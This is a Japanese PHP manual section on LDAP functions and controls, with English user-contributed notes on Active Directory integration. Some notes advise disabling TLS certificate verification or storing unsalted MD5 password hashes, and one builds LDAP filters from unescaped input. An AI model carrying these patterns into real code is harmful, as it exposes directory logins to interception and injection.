  • LDAP_CONTROL_MANAGEDSAIT

  • LDAP_CONTROL_DONTUSECOPY

コントロール LDAP_CONTROL_PROXY_AUTHZ は特別です。 なぜなら値のBERエンコードが不要だからです。よって、値を直接文字列として扱うことが出来ます。

ldap_parse_result() によってコントロールがパースされる場合、 値はサポートされていれば配列に変換されます。 サポートされているのは以下です:

  • LDAP_CONTROL_PASSWORDPOLICYRESPONSE expire, grace, [error] がキーになります。

  • LDAP_CONTROL_PAGEDRESULTS size, cookie がキーになります

  • LDAP_CONTROL_PRE_READ dn と LDAP の属性名がキーになります。

  • LDAP_CONTROL_POST_READ dn と LDAP の属性名がキーになります。

  • LDAP_CONTROL_SORTRESPONSE errcode, [attribute] がキーになります。

  • LDAP_CONTROL_VLVRESPONSE target, count, errcode, context がキーになります。

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • 基本的な使用法
  • LDAP コントロール

User Contributed Notes

There are no user contributed notes for this page.


基本的な使用法

あるディレクトリサーバーから姓が "S" から始まる全てのエントリに 関する情報を検索し、名前と電子メールアドレスで検索結果を表示します。

例1 LDAP 検索の例

<?php
// LDAP の基本シーケンスは、接続、バインド、検索、検索結果の解釈、
// 接続のクローズです。

echo "<h3>LDAP query test</h3>";
echo "Connecting ...";
$ds=ldap_connect("localhost");  // 有効な LDAP サーバーに違いない!
echo "connect result is " . $ds . "<br />";

if ($ds) {
    echo "Binding ...";
    $r=ldap_bind($ds);     // これは "匿名" バインドで、通常は
                           // 読みこみのみのアクセスとなります。
    echo "Bind result is " . $r . "<br />";

    echo "Searching for (sn=S*) ...";
    // 名前(surname)エントリを検索
    $sr=ldap_search($ds, "o=My Company, c=US", "sn=S*");
    echo "Search result is " . $sr . "<br />";

    echo "Number of entries returned is " . ldap_count_entries($ds, $sr) . "<br />";

    echo "Getting entries ...<p>";
    $info = ldap_get_entries($ds, $sr);
    echo "Data for " . $info["count"] . " items returned:<p>";

    for ($i=0; $i<$info["count"]; $i++) {
        echo "dn is: " . $info[$i]["dn"] . "<br />";
        echo "first cn entry is: " . $info[$i]["cn"][0] . "<br />";
        echo "first email entry is: " . $info[$i]["mail"][0] . "<br /><hr />";
    }

    echo "Closing connection";
    ldap_close($ds);

} else {
    echo "<h4>Unable to connect to LDAP server</h4>";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


LDAP コントロール

PHP >= 7.3.0 で LDAPコントロールを使う例をいくつか示します。

例1 ppolicy(パスワードポリシー) 情報とバインドする

<?php

$user   = 'cn=admin,dc=example,dc=com';
$passwd = 'adminpassword';

$ds = ldap_connect('ldap://localhost');

if ($ds) {
    $r = ldap_bind_ext($ds, $user, $passwd, [['oid' => LDAP_CONTROL_PASSWORDPOLICYREQUEST]]);

    if (ldap_parse_result($ds, $r, $errcode, $matcheddn, $errmsg, $referrals, $ctrls)) {
        if ($errcode != 0) {
            die("Error: $errmsg ($errcode)");
        }
        if (isset($ctrls[LDAP_CONTROL_PASSWORDPOLICYRESPONSE])) {
            $value = $ctrls[LDAP_CONTROL_PASSWORDPOLICYRESPONSE]['value'];
            echo "Expires in: ".$value['expire']." seconds\n";
            echo "Number of auth left: ".$value['grace']."\n";
            if (isset($value['error'])) {
                echo "Ppolicy error code: ".$value['error'];
            }
        }
    }
} else {
    die("Unable to connect to LDAP server");
}
?>

例2 空でない場合に限って、説明を変更する

<?php
// $link は、 LDAP 接続です

$result = ldap_mod_replace_ext(
    $link,
    'o=test,dc=example,dc=com',
    ['description' => 'New description'],
    [
        [
            'oid'         => LDAP_CONTROL_ASSERT,
            'iscritical'  => TRUE,
            'value'       => ['filter' => '(!(description=*))']
        ]
    ]
);

// ここからは、ldap_parse_result を使う
?>

例3 削除する前に、いくつか値を読み取る

<?php
// $link は、 LDAP 接続です

$result = ldap_delete_ext(
    $link,
    'o=test,dc=example,dc=com',
    [
        [
            'oid'         => LDAP_CONTROL_PRE_READ,
            'iscritical'  => TRUE,
            'value'       => ['attrs' => ['o', 'description']]
        ]
    ]
);

// ここからは、ldap_parse_result を使う
?>

例4 参照を削除する

<?php
// $link は、 LDAP 接続です

// コントロールが存在しない場合、参照されているノードを削除します。
// それを避けるためにも、control を critical として必ず設定してください。
$result = ldap_delete_ext(
    $link,
    'cn=reference,dc=example,dc=com',
    [['oid' => LDAP_CONTROL_MANAGEDSAIT, 'iscritical' => TRUE]]
);

// ここからは、ldap_parse_result を使う
?>

例5 検索結果を複数ページに分割する

<?php
// $link は、 LDAP 接続です

$cookie = '';

do {
    $result = ldap_search(
        $link, 'dc=example,dc=base', '(cn=*)', ['cn'], 0, 0, 0, LDAP_DEREF_NEVER,
        [['oid' => LDAP_CONTROL_PAGEDRESULTS, 'value' => ['size' => 2, 'cookie' => $cookie]]]
    );
    ldap_parse_result($link, $result, $errcode , $matcheddn , $errmsg , $referrals, $controls);
    // 例を短くするために、エラー処理はテストしていません
    $entries = ldap_get_entries($link, $result);
    foreach ($entries as $entry) {
        echo "cn: ".$entry['cn'][0]."\n";
    }
    if (isset($controls[LDAP_CONTROL_PAGEDRESULTS]['value']['cookie'])) {
        // 最後の呼び出しから得られる cookie を次に引き渡す必要があります
        $cookie = $controls[LDAP_CONTROL_PAGEDRESULTS]['value']['cookie'];
    } else {
        $cookie = '';
    }
    // cookie が空の場合、最後のページ
} while (!empty($cookie));
?>

User Contributed Notes

There are no user contributed notes for this page.


LDAP 関数

目次

  • ldap_8859_to_t61 — 8859 文字を t61 文字に変換する
  • ldap_add_ext — LDAP ディレクトリにエントリを付加する
  • ldap_add — LDAP ディレクトリにエントリを付加する
  • ldap_bind_ext — LDAP ディレクトリにバインドする
  • ldap_bind — LDAP ディレクトリにバインドする
  • ldap_close — ldap_unbind のエイリアス
  • ldap_compare — 指定した DN のエントリで見付かった属性の値を比較する
  • ldap_connect — LDAP サーバーへ接続する
  • ldap_control_paged_result_response — LDAP ページネーションクッキーを取得する
  • ldap_control_paged_result — LDAP ページネーション制御情報を送信する
  • ldap_count_entries — 検索結果のエントリ数を数える
  • ldap_delete_ext — ディレクトリからエントリを削除する
  • ldap_delete — ディレクトリからエントリを削除する
  • ldap_dn2ufn — DN をユーザーに分かりやすい名前のフォーマットに変換する
  • ldap_err2str — LDAP のエラー番号をエラーメッセージ文字列に変換する
  • ldap_errno — 直近の LDAP コマンドの LDAP エラー番号を返す
  • ldap_error — 直近の LDAP コマンドの LDAP エラーメッセージを返す
  • ldap_escape — LDAP フィルタまたは DN で使われる文字列をエスケープする
  • ldap_exop_passwd — PASSWD 拡張オペレーションのヘルパ
  • ldap_exop_refresh — Refresh 拡張操作のヘルパ
  • ldap_exop_whoami — WHOAMI 拡張オペレーションのヘルパ
  • ldap_exop — 拡張されたオペレーションを実行する
  • ldap_explode_dn — DN を構成要素ごとに分割する
  • ldap_first_attribute — 最初の属性を返す
  • ldap_first_entry — 最初の結果 ID を返す
  • ldap_first_reference — 最初のリファレンスを返す
  • ldap_free_result — 結果メモリを開放する
  • ldap_get_attributes — 検索結果エントリから属性を得る
  • ldap_get_dn — 結果エントリから DN を得る
  • ldap_get_entries — 全ての結果エントリを得る
  • ldap_get_option — 指定したオプションの現在の値を得る
  • ldap_get_values_len — 結果エントリから全てのバイナリ値を得る
  • ldap_get_values — 結果エントリから全ての値を得る
  • ldap_list — 単一階層の検索を行う
  • ldap_mod_add_ext — 現在の属性に属性を追加する
  • ldap_mod_add — 現在の属性に属性を追加する
  • ldap_mod_del_ext — 現在の属性から属性を削除する
  • ldap_mod_del — 現在の属性から属性を削除する
  • ldap_mod_replace_ext — 属性を新規の値に置換する
  • ldap_mod_replace — 属性を新規の値に置換する
  • ldap_modify_batch — LDAP エントリの変更をまとめて実行する
  • ldap_modify — のエイリアス ldap_mod_replace
  • ldap_next_attribute — 結果における次の属性を得る
  • ldap_next_entry — 次の結果エントリを得る
  • ldap_next_reference — 次のリファレンスを得る
  • ldap_parse_exop — LDAP拡張オペレーションの結果オブジェクトをパースする
  • ldap_parse_reference — 参照エントリから情報を展開する
  • ldap_parse_result — 結果から情報を展開する
  • ldap_read — エントリを読み込む
  • ldap_rename_ext — エントリ名を修正する
  • ldap_rename — エントリ名を修正する
  • ldap_sasl_bind — SASL を使用して LDAP ディレクトリにバインドする
  • ldap_search — LDAP ツリーを探索する
  • ldap_set_option — 指定したオプションの値を設定する
  • ldap_set_rebind_proc — 参照先を再バインドするためのコールバック関数を設定する
  • ldap_sort — LDAP 結果エントリをクライアント側でソートする
  • ldap_start_tls — TLS を開始する
  • ldap_t61_to_8859 — t61 文字を 8859 文字に変換する
  • ldap_unbind — LDAP ディレクトリへのバインドを解除する

User Contributed Notes

llurovi at gmail dot com 11-Oct-2016 10:12
For those of you that are having trouble when user's password has special characters, make sure you decode the string to an appropiate codification. For instance, I had an issue where some users could not logging properly into our web app.

Example of a simple connection:

<?php

$ldap_ip = 'LDAP-SERVER-IP';
$ldap = ldap_connect($ldap_ip);

$user = 'Test';
$password = 'otono'; //This password is correct but binding it with this format will give us an error

$password = utf8_decode($password); //$password = otoxF1o

$ldap_bind = ldap_bind($ldap, $user, $password); //Now the binding is successfull and $ldap_bind = true

?>
oscar dot php at linaresdigital dot com 28-Jan-2015 11:47
There is a lot of confusion about accountExpires, pwdLastSet, lastLogon and badPasswordTime active directory fields.

All of them are using "Interval" date/time format with a value that represents the number of 100-nanosecond intervals since January 1, 1601 (UTC, and a value of 0 or 0x7FFFFFFFFFFFFFFF, 9223372036854775807, indicates that the account never expires): https://msdn.microsoft.com/en-us/library/ms675098(v=vs.85).aspx

So if you need to translate it from/to UNIX timestamp you can easily calculate the difference with:

<?php
$datetime1 = new DateTime('1601-01-01');
$datetime2 = new DateTime('1970-01-01');
$interval = $datetime1->diff($datetime2);
echo ($interval->days * 24 * 60 * 60) . " seconds\n";
?>

The difference between both dates is 11644473600 seconds. Don't rely on floating point calculations nor other numbers that probably were calculated badly (including time zone or something similar).

Now you can convert from LDAP field:

<?php
$lastlogon = $info[$i]['lastlogon'][0];
// divide by 10.000.000 to get seconds from 100-nanosecond intervals
$winInterval = round($lastlogon / 10000000);
// substract seconds from 1601-01-01 -> 1970-01-01
$unixTimestamp = ($winInterval - 11644473600);
// show date/time in local time zone
echo date("Y-m-d H:i:s", $unixTimestamp) ."\n";
?>

Hope it helps.
Andrew Sharpe 23-Apr-2012 06:04
To compile PHP 5.1.6 on RHEL 6.2 x86_64, add the following to your configure command:

--with-libdir=lib64
--with-ldap=/usr
idbobby at rambler dot ru 12-Aug-2010 02:26
First of all, sorry for my English.
Here are two functions to check group membership and some others which can be useful for work with LDAP (Active Directory in this example).

index.php
---------

<?php

$user = 'bob';
$password = 'zhlob';
$host = 'myldap';
$domain = 'mydomain.ex';
$basedn = 'dc=mydomain,dc=ex';
$group = 'SomeGroup';

$ad = ldap_connect("ldap://{$host}.{$domain}") or die('Could not connect to LDAP server.');
ldap_set_option($ad, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ad, LDAP_OPT_REFERRALS, 0);
@ldap_bind($ad, "{$user}@{$domain}", $password) or die('Could not bind to AD.');
$userdn = getDN($ad, $user, $basedn);
if (checkGroupEx($ad, $userdn, getDN($ad, $group, $basedn))) {
//if (checkGroup($ad, $userdn, getDN($ad, $group, $basedn))) {
    echo "You're authorized as ".getCN($userdn);
} else {
    echo 'Authorization failed';
}
ldap_unbind($ad);

/*
* This function searchs in LDAP tree ($ad -LDAP link identifier)
* entry specified by samaccountname and returns its DN or epmty
* string on failure.
*/
function getDN($ad, $samaccountname, $basedn) {
    $attributes = array('dn');
    $result = ldap_search($ad, $basedn,
        "(samaccountname={$samaccountname})", $attributes);
    if ($result === FALSE) { return ''; }
    $entries = ldap_get_entries($ad, $result);
    if ($entries['count']>0) { return $entries[0]['dn']; }
    else { return ''; };
}

/*
* This function retrieves and returns CN from given DN
*/
function getCN($dn) {
    preg_match('/[^,]*/', $dn, $matchs, PREG_OFFSET_CAPTURE, 3);
    return $matchs[0][0];
}

/*
* This function checks group membership of the user, searching only
* in specified group (not recursively).
*/
function checkGroup($ad, $userdn, $groupdn) {
    $attributes = array('members');
    $result = ldap_read($ad, $userdn, "(memberof={$groupdn})", $attributes);
    if ($result === FALSE) { return FALSE; };
    $entries = ldap_get_entries($ad, $result);
    return ($entries['count'] > 0);
}

/*
* This function checks group membership of the user, searching
* in specified group and groups which is its members (recursively).
*/
function checkGroupEx($ad, $userdn, $groupdn) {
    $attributes = array('memberof');
    $result = ldap_read($ad, $userdn, '(objectclass=*)', $attributes);
    if ($result === FALSE) { return FALSE; };
    $entries = ldap_get_entries($ad, $result);
    if ($entries['count'] <= 0) { return FALSE; };
    if (empty($entries[0]['memberof'])) { return FALSE; } else {
        for ($i = 0; $i < $entries[0]['memberof']['count']; $i++) {
            if ($entries[0]['memberof'][$i] == $groupdn) { return TRUE; }
            elseif (checkGroupEx($ad, $entries[0]['memberof'][$i], $groupdn)) { return TRUE; };
        };
    };
    return FALSE;
}

?>
ben_demott at hotmail dot com 01-Apr-2008 06:54
For anyone that is a programmer and not extremely familiar with naming conventions in Microsoft Active Directory or how to find objects within the directory, or more importantly how to reference the objects.
Running "adsiedit.msc" from the command line will display all of your objects in the directory in an easy to read and copyable naming format.
Hope this is helpful!

Note:
You must Run this command from an AD Domain Controller
You Must have the Windows Resource Kit Tools installed
(wouldn't let me make a link that long so I had to make a link break - Sorry!)
a http://www.microsoft.com/downloads/details.aspx
?FamilyID=9d467a69-57ff-4ae7-96ee-b18c4790cffd&displaylang=en

Installing this tool should modify your system path so you can just type the command from the run dialogue, otherwise the absolute path is:
C:\Program Files\Windows Resource Kits\Tools\adsiedit.msc
alex at netflex dot nl 03-Sep-2007 06:49
If you want to use ldaps on windows but you don't want to validate the tls certificate try the following line before the ldap_connect call:

putenv('LDAPTLS_REQCERT=never') or die('Failed to setup the env');
Tod 03-Jul-2007 05:10
Notes for people running PHP 4 with Apache 2.2 on Win2k3.
The Apache Service needs to be running under the local administrators account in order for the ldap_connect to return a result. As apposed to the Domain Administrators account as may happen on servers in an Active Directory Domain.

It will 'appear' to work ok but will return no results otherwise.

so use (server name)\administrator for the username in the service logon properties.

Tod
jector at inbox dot ru 18-Mar-2007 09:01
Spent some time on fixing "Unable to load dynamic library 'php_ldap.dll'. Copied libeay32.dll and ssleay32.dll  everywhere, but error still stands.

After digging all this dlls I found, that both libeay32.dll and ssleay32.dll need msvcr70.dll (or msvcr71.dll, it depends on the compiler version). Then just copy that dll to system32\ dir and it works perfectly.
maykelsb at yahoo dot com dot br 12-Feb-2007 11:27
Problems with ldap_search in W2k3, can be solved adding

// -- $conn is a valid ldap connection.

ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION,3);
ldap_set_option($conn, LDAP_OPT_REFERRALS,0);

before ldap_bind, as sad in http://bugs.php.net/bug.php?id=30670.
unroar at gmail dot com 11-Dec-2006 05:33
In Solaris 9 the libnet library is a prerequisite for building  PHP with LDAP, SASL and SSL (libnet is available on Sunfreeware).

I didn't see this mentioned anywhere and I'm not sure if it is required by ldap or sasl or ssl.  I just spent an hour on Google with no luck before I figured it out, maybe this comment will help the next googler.

The error is,
ld: fatal: library -lnet: not found
ld: fatal: File processing errors. No output written to sapi/cli/php
collect2: ld returned 1 exit status
make: *** [sapi/cli/php] Error 1
nigelf at esp dot co dot uk 16-Nov-2006 06:34
Chasing referrals in Active Directory (ie: searching across domains), can be slow.  You can look up the object instead in the GC (Global Catalog) as follows:

Remove any reference to ldap:// when you use ldap_connect, ie: use "serv1.mydom.com" NOT "ldap://serv1.mydom.com"

Connect to port 3268 (not 389, the default)

Set the Base DN for the search to null ie: "" (empty quotes).

AD will then run the search against the GC which holds a copy of all objects in the Forest.  You can also retrieve a subset of attributes (including group membership, except local groups).

You will still need to follow referals for a full set of attributes.
gcathell at thetdgroup dot com 07-Jul-2006 09:05
I recently had to access a Microsoft Active Directory server as an LDAP service over SSL using PHP.  It took me a long time to get all the information I needed to get it to work.

I attempted to post a note here with the details but it ended it being too long.  I've placed the details at the following URL in hopes that someone else will benefit and will be able to solve the problem much more quickly than I did.

http://greg.cathell.net/php_ldap_ssl.html

Good luck!
nacenroe at remove dot this dot nystec dot com 19-Dec-2005 12:28
If you're looking to use PHP to integrate LDAP with AD (I'm working with Win2K3), you may want to tinker with the LDP.exe tool included (no resource kit needed!!) with Win2k and Win2K3.  You can run this app right from the command line.

The Win2K3 Help function was a good start point, and then pointed me to an article in the M$ KB: http://support.microsoft.com/default.aspx?scid=kb;en-us;255602 (XADM: Browsing and Querying Using the LDP Utility).

So ... if your connect/bindings are working but your queries are not, you may want to start here.  I'm finding it very useful when I run it on the local AD to see the attributes, etc.
christopherbyrne at hotmail dot com 16-Oct-2005 08:53
Just an ammendment to my previous post: my calculations were using east coast Australian time (GMT+10) whereas the Unix timestamp is in GMT. Therefore Active Directoy's "accountexpires" integer value does start from 1-Jan-1601 00:00:00 GMT and the number of seconds between this date and 1-Jan-1970 00:00:00 GMT is 11644524000.

The increments are still definately in 100 nanoseconds though!
christopherbyrne at hotmail dot com 16-Oct-2005 04:32
For anyone who's been having trouble working with the "accountexpires" attribute in Active Directory after having read the following article

www.microsoft.com/technet/scriptcenter/
resources/qanda/sept05/hey0902.mspx

or something similar, this may save you some frustration. In the article is is mentioned that this attribute is an integer representing the number of nanoseconds since 01-Jan-1601 00:00:00.

However the "accountexpires" attribute actually seems to be the number of 100 nanosecond increments since 31-Dec-1600 14:00:00. As a result if you divide the integer by 10,000,000 and subtract 11644560000 you will get a Unix timestamp that will match the dates in AD.

To set the "accountexpires" date just reverse the procedure, that is, get the timestamp for the new date you want, add 11644560000 and multiply by 10,000,000. You will also need to format the resultant number to make sure it is not outputted in scientific notation for AD to be happy with it.

Hope this helps!
hijinio at comcast dot net 28-Jul-2005 11:28
In case anybody has trouble configuring PHP with LDAP support on a Solaris 10 box, here is the configure line I used:

./configure --with-nsapi=/opt/SUNWwbsvr --enable-libgcc --disable-libxml --with-ldap=/usr/local --prefix=/opt/php/php-5.0.4

The important part to note is the location used for --with-ldap= ; which for most S10 people, will be "--with-ldap=/usr/local".
jpmens at gmail dot com 11-Mar-2005 02:04
Further to jabba at zeelandnet dot nl's note. If you are trying to connect to an LDAPS URI with OpenLDAP, you can either create the configuration file as described by jabba, or alternatively, use the environment settings to set LDAPTLS_REQCERT=never as described in ldap.conf(5).
Richie Bartlett(at)ITsystems-Online com 20-Dec-2004 12:44
This is an update to <i>wtfo at technocraft dot com</i> (23-May-2002 03:40)... This function allows additional (optional) parameters. The prev function listed, failed to close the ldap connection after successful authenication.

<?php
function checkNTuser($username,$password,$DomainName="myDomain",
                      $ldap_server="ldap://PDC.example.net"){//v0.9
// returns true when user/pass enable bind to LDAP (Windows 2k).
    $auth_user=$username."@".$DomainName;
    #echo $auth_user."->";
    if($connect=@ldap_connect($ldap_server)){
        #echo "connection ($ldap_server): ";
        if($bind=@ldap_bind($connect, $auth_user, $password)){
            #echo "true <BR>";
            @ldap_close($connect);
            return(true);
        }//if bound to ldap
    }//if connected to ldap
    #echo "failed <BR>";
    @ldap_close($connect);
    return(false);
}//end function checkNTuser
?>
jabba at zeelandnet dot nl 15-Nov-2004 11:51
When using PHP on windows, and you are trying to connect (bind) to a Netware (6) LDAP server that requires secure connections (LDAPS), PHP will return a message stating that the server cannot be found.

A network traffic capture of the traffic taking place on connection attempt reveals that the server supplies a certificate for use in the SSL connection, but this is rejected (***bad certificate SSLv3 packet) by the client.

The reason for this is probably that the PHP LDAP implementation tries to verify the received certificate with the CA that issued the certificate. There may be a way to make it possible that this verification succeeds, but it is also possible to disable this verification by the client (which is, in this case, PHP) by creating an openldap (surprise!!) configuration file.

The location of this configuration file seems to be hardcoded in the LDAP support module for windows, and you may need to manually create the following directory structure:

C:\openldap\sysconf\

In the sysconf folder, create a text file named 'ldap.conf' (you can use notepad for this) and, to disable certificate verification, place the following line in the ldap.conf file:

TLS_REQCERT never

After this, all the normal ldap_bind calls will work, provided your supplied user id and password are correct.
spam2004 at turniton dot dk 29-Oct-2004 05:36
Here are two small functions that enables you to convert a binary objectSID from Microsoft AD into a more usefull text version (formatted (S-1-5.....)).

// Converts a little-endian hex-number to one, that 'hexdec' can convert
function littleEndian($hex) {
    for ($x=strlen($hex)-2; $x >= 0; $x=$x-2) {
        $result .= substr($hex,$x,2);
    }
    return $result;
}

// Returns the textual SID
function binSIDtoText($binsid) {
    $hex_sid=bin2hex($binsid);
    $rev = hexdec(substr($hex_sid,0,2));          // Get revision-part of SID
    $subcount = hexdec(substr($hex_sid,2,2));    // Get count of sub-auth entries
    $auth = hexdec(substr($hex_sid,4,12));      // SECURITY_NT_AUTHORITY
    $result = "$rev-$auth";
    for ($x=0;$x < $subcount; $x++) {
        $subauth[$x] = hexdec(littleEndian(substr($hex_sid,16+($x*8),8)));  // get all SECURITY_NT_AUTHORITY
        $result .= "-".$subauth[$x];
    }
    return $result;
}

echo binSIDtoText($bin_sid);
Jimmy Wimenta Oei 23-Sep-2004 12:32
If you want to disable/enable chase referral option, you need to first set the protocol version to version 3, otherwise the LDAP_OPT_REFERRALS option will not have any effect. This is especially true for querying MS Active Directory.

<?php
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
?>

And as always, these should be called after connect but before binding.
Sami Oksanen 16-May-2004 06:27
I edited Jon Caplinger's code which is located below (date: 09-Nov-2002 05:44).

 - I corrected line
   "if (!($connect=@ldap_connect($ldap))) {" with
   "if (!($connect=@ldap_connect($ldap_server))) {"

 - Removed $name-attribute

 - "Name is:"-field was always an Array, so I changed printing line to:
   " echo "Name is: ". $info[$i]["name"][0]."<br>";"

I also added some alternative search filters to try out.

Here is the code:

<?php

$ldap_server = "ldap://foo.bar.net";
$auth_user = "user@bar.net";
$auth_pass = "mypassword";

// Set the base dn to search the entire directory.

$base_dn = "DC=bar, DC=net";

// Show only user persons
$filter = "(&(objectClass=user)(objectCategory=person)(cn=*))";

// Enable to show only users
// $filter = "(&(objectClass=user)(cn=$*))";

// Enable to show everything
// $filter = "(cn=*)";

// connect to server

if (!($connect=@ldap_connect($ldap_server))) {
     die("Could not connect to ldap server");
}

// bind to server

if (!($bind=@ldap_bind($connect, $auth_user, $auth_pass))) {
     die("Unable to bind to server");
}

//if (!($bind=@ldap_bind($connect))) {
//     die("Unable to bind to server");
//}

// search active directory

if (!($search=@ldap_search($connect, $base_dn, $filter))) {
     die("Unable to search ldap server");
}

$number_returned = ldap_count_entries($connect,$search);
$info = ldap_get_entries($connect, $search);

echo "The number of entries returned is ". $number_returned."<p>";

for ($i=0; $i<$info["count"]; $i++) {
   echo "Name is: ". $info[$i]["name"][0]."<br>";
   echo "Display name is: ". $info[$i]["displayname"][0]."<br>";
   echo "Email is: ". $info[$i]["mail"][0]."<br>";
   echo "Telephone number is: ". $info[$i]["telephonenumber"][0]."<p>";
}
?>
ant at solace dot mh dot se 26-Feb-2004 08:23
When working with LDAP, its worth remembering that the majority
of LDAP servers encode their strings as UTF-8. What this means
for non ascii strings is that you will need to use the utf8_encode and
utf8_decode functions when creating filters for the LDAP server.

Of course, if you can its simpler to just avoid using non-ascii characters
but for most sites the users like to see their strange native character
sets including umlauts etc..

If you just get ? characters where you are expecting non-ascii, then
you might just need to upgrade your PHP version.
pookey at pookey dot co dot uk 07-Oct-2003 01:57
This is an example of how to query an LDAP server, and print all entries out.

<?php

$ldapServer = '127.0.0.1';
$ldapBase = 'DC=anlx,DC=net';

/*
 * try to connect to the server
 */
$ldapConn = ldap_connect($ldapServer);
if (!$ldapConn)
{
  die('Cannot Connect to LDAP server');
}

/*
 * bind anonymously
 */
$ldapBind = ldap_bind($ldapConn);
if (!$ldapBind)
{
  die('Cannot Bind to LDAP server');
}

/*
 * set the ldap options
 */
ldap_set_option($ldapConn, LDAP_OPT_PROTOCOL_VERSION, 3);

/*
 * search the LDAP server
 */
$ldapSearch = ldap_search($ldapConn, $ldapBase, "(cn=*)");
$ldapResults = ldap_get_entries($ldapConn, $ldapSearch);

for ($item = 0; $item < $ldapResults['count']; $item++)
{
  for ($attribute = 0; $attribute < $ldapResults[$item]['count']; $attribute++)
  {
    $data = $ldapResults[$item][$attribute];
    echo $data.":&nbsp;&nbsp;".$ldapResults[$item][$data][0]."<br>";
  }
  echo '<hr />';
}

?>
hkemale at hkem dot com 16-Jul-2003 10:49
For IIS+PHP+NTFS file system user
After copied <php_dir>/dlls/*.dll to <windows>/systems32/ remember to add read and exexcute premission to "everyone" and the extensions *.dll. this can prevent warning of Access is denied of php_ldap.dll
greatsafari at hotmail dot com 26-May-2003 11:01
Having seen so many variations of methods for connecting and query the Active Directory server, it really makes me suspect that the whole thing is dependent of the Active Directory configurations. Looking at this post at:

http://www.phpbuilder.com/mail/php-general/2003022/1459.php

Some methods proven to be working in one instance failed at another instance.
nliu99 at nospam dot yahoo dot com 29-Apr-2003 03:09
libsasl.dll is NOT required for ldap functionalities. Go check out the posting at: http://bugs.php.net/bug.php?id=9485

On win2k I followed these easy steps and got ldap to work:
1. copy php_ldap.dll from the extension folder to winnt/system32
2. edit winnt/php.ini so that ldap is enabled (uncomment the line).
3. restart IIS.
That's it and have fun with ldap.

A note for Microsoft Active Directory
1. You can login with the user email, i.e. user@company.com
2. It's easiest to search for user info with ldap_search by filtering: (userprincipalname=[user])
egeczi at nospamplease dot dist113 dot org 01-Apr-2003 09:05
On Win2k Server running IIS, it is not enough to just restart IIS after enabling the php_ldap extension. You have to restart the server itself.
yorch at correo dot ath dot cx 03-Mar-2003 09:12
Some notes about running LDAP extension on a Win2k box:

After copying php_ldap.php and libsasl.dll in every single directory possible (c:\WinNT\System32, c:\php ...) I decided to read the installation.txt file.
The instructions to install php extensions say: "Some extra DLLs are required for some PHP extensions. Please copy the bundled dlls from the 'dlls/' directory in distribution package to your windows/system (Win9.x) or winnt/system32 (WinNT, Win2000, XP) directory. If you already have these DLLs installed on your system, overwrite them only if something is not working correctly."

So I did exactly that: copy ALL the dll files from "c:\php\dlls" to "c:\WinNT\System32".
Now they load beautifully ;-)

I hope this helps someone.
gerbille at free dot fr 10-Oct-2002 06:26
The MD5 of PHP returns a result encoded in base16. But the LDAP MD5 returns a string encoded in base64.
$pwd="toto";
$pwd_md5=base64_encode(mhash(MHASH_MD5,$pwd));
Just add "{MD5}" front $pwd_md5 to obtain the same format as LDAP directory.

Bye
Aur?lia
mike at whisperedlies dot org 09-Sep-2002 09:41
In addition to the netBIOS suggestion above, when binding to a Windows2k AD server, you can use the UPN of the intended user. For instance, if your SAM account name is firstname.lastname and your domain is domainname.com, your UPN might be firstname.lastname@domainname.com

This can be used to bind to AD. I've not seen any difference in any of the methods.
rusko dot marton at gibzone dot hu 10-Jul-2002 05:06
You can authenticate to a Windows 2000 domain's ldap server easily by using the simplified netbios form of the username.

Somebody written:
When authenticating to a Win2k LDAP server, the name of the person must be
the FULL NAME in the dn

NO. You can use this form:

$user = "DOMAINNAME\\username"
$password = "Password_of_user";

if (!$connect = ldap_connect("<server>", <port>)) {
  //error
  exit;
}
if (!$res = @ldap_bind($ldap, $user, $password)) {
  //error
  exit;
}

It works fine with Active Directory, we use it.
knitterb at blandsite dot org 19-Jun-2002 08:48
When using PHP 4.2.1 with OpenLDAP 2.1.2 I was having problems with binding to the ldap server.  I found that php was using an older protocol and added the following to the slapd.conf:

allow bind_v2

See ``man slapd.conf'' for more info about the allow item in the slapd.conf file, this is all I know! :)
webmaster at autourdupc dot com 31-Dec-2001 04:36
When authenticating to a Win2k LDAP server, the name of the person must be the FULL NAME in the dn

NB : nothing is case sensitive !

$dn="cn=DUPOND John, cn=Users, dc=autourdupc, dc=com"
$password = "Password_of_DUPOND";

Then when you bind to the LDAP database you use:

if (!($ldap = ldap_connect("<server>", <port>))) {
die ("Could not connect to LDAP server");
}
if (!($res = @ldap_bind($ldap, $dn, $password))) {
die ("Could not bind to $dn");
}

Hope this will usefull for everyone !


8859 文字を t61 文字に変換する

  • ≪ LDAP 関数
  • ldap_add_ext ≫
  • PHP Manual
  • LDAP 関数
  • 8859 文字を t61 文字に変換する

ldap_8859_to_t61

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

ldap_8859_to_t61 — 8859 文字を t61 文字に変換する

説明

ldap_8859_to_t61 ( string $value ) : string|false

ISO-8859 文字を t61 文字に変換します。

この関数は、 LDAPv2 サーバーとやり取りしなければならない場合に有用です。

パラメータ

value

変換するテキスト。

返り値

value を t61 に変換したものを返します。 失敗した場合に false を返します

参考

  • ldap_t61_to_8859() - t61 文字を 8859 文字に変換する

User Contributed Notes

faruq dot alavi at live dot de 03-May-2010 03:13
Description:

ldap_8859_to_t61() assists in the conversion of strings between ISO 8859-1 and t61 encodings. If the string cannot be converted successfully, the function returns FALSE.

Example:

$converted = ldap_8859_to_t61($data);
echo $converted;


LDAP ディレクトリにエントリを付加する

  • ≪ ldap_8859_to_t61
  • ldap_add ≫
  • PHP Manual
  • LDAP 関数
  • LDAP ディレクトリにエントリを付加する

ldap_add_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_add_ext — LDAP ディレクトリにエントリを付加する

説明

ldap_add_ext ( resource $ldap , string $dn , array $entry , array|null $controls = null ) : resource|false

ldap_add() と同じですが、 ldap_parse_result() を使ってパースされた LDAP 結果リソースを返します。

パラメータ

ldap_add() を参照してください。

返り値

LDAP の結果識別子を返します。 エラーの場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。

注意

注意: この関数はバイナリデータに対応しています。

参考

  • ldap_add() - LDAP ディレクトリにエントリを付加する
  • ldap_parse_result() - 結果から情報を展開する

User Contributed Notes

